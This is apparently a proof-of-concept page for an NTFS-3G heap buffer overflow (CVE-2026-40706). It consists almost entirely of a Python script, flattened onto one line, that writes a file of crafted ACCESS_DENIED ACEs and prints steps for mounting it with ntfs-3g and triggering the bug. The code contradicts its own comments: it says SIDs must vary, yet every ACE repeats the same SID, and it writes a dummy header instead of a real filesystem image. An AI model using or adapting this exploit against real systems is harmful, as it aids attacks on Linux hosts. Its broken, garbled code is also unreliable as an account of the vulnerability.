CVE-2026-40706 NTFS-3G堆缓冲区溢出漏洞

import sys import struct # Conceptual PoC for CVE-2026-40706 # This script demonstrates the structure of the malicious security descriptor # that triggers the heap buffer overflow in ntfs_build_permissions_posix. def create_malicious_ace(): # ACE Header: Type, Flags, Size # Type: ACCESS_DENIED_ACE_TYPE (0x01) # Flags: 0x00 # Size: Placeholder ace_header = struct.pack('<BBH', 0x01, 0x00, 0x00) # Mask: WRITE_OWNER (0x80000) mask = struct.pack('<I', 0x80000) # SID: Dummy SID (needs to vary for distinct groups to trigger the bug) # S-1-1-0 (World/Everyone) - simplified sid_revision = 1 sid_sub_authority_count = 1 sid_identifier_authority = b'\x00\x00\x00\x00\x00\x01' sid_sub_authority = struct.pack('<I', 0) sid = struct.pack('<B', sid_revision) sid += struct.pack('<B', sid_sub_authority_count) sid += sid_identifier_authority sid += sid_sub_authority # Assemble ACE (update size) ace_size = len(ace_header) + len(mask) + len(sid) ace_header = struct.pack('<BBH', 0x01, 0x00, ace_size) return ace_header + mask + sid def generate_exploit_image(filename): print(f"[*] Creating malicious NTFS image structure: {filename}") # In a real exploit, this would be a full NTFS filesystem image. # Here we focus on the Security Descriptor data stream. # Create multiple ACCESS_DENIED ACEs with distinct SIDs # to trigger the overflow in ntfs_build_permissions_posix aces = b'' for i in range(50): # Number of ACEs to overflow the buffer # Vary the SID to simulate distinct groups ace = create_malicious_ace() aces += ace with open(filename, 'wb') as f: # Write a dummy header f.write(b'NTFS_EXPLOIT_IMG') # Write the malicious ACL data f.write(aces) print("[+] Malicious image generated.") print("[+] Usage: Mount this image on a vulnerable system using ntfs-3g.") print("[+] Trigger: Run 'ls' or 'stat' on the mounted directory.") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <output_file>") else: generate_exploit_image(sys.argv[1])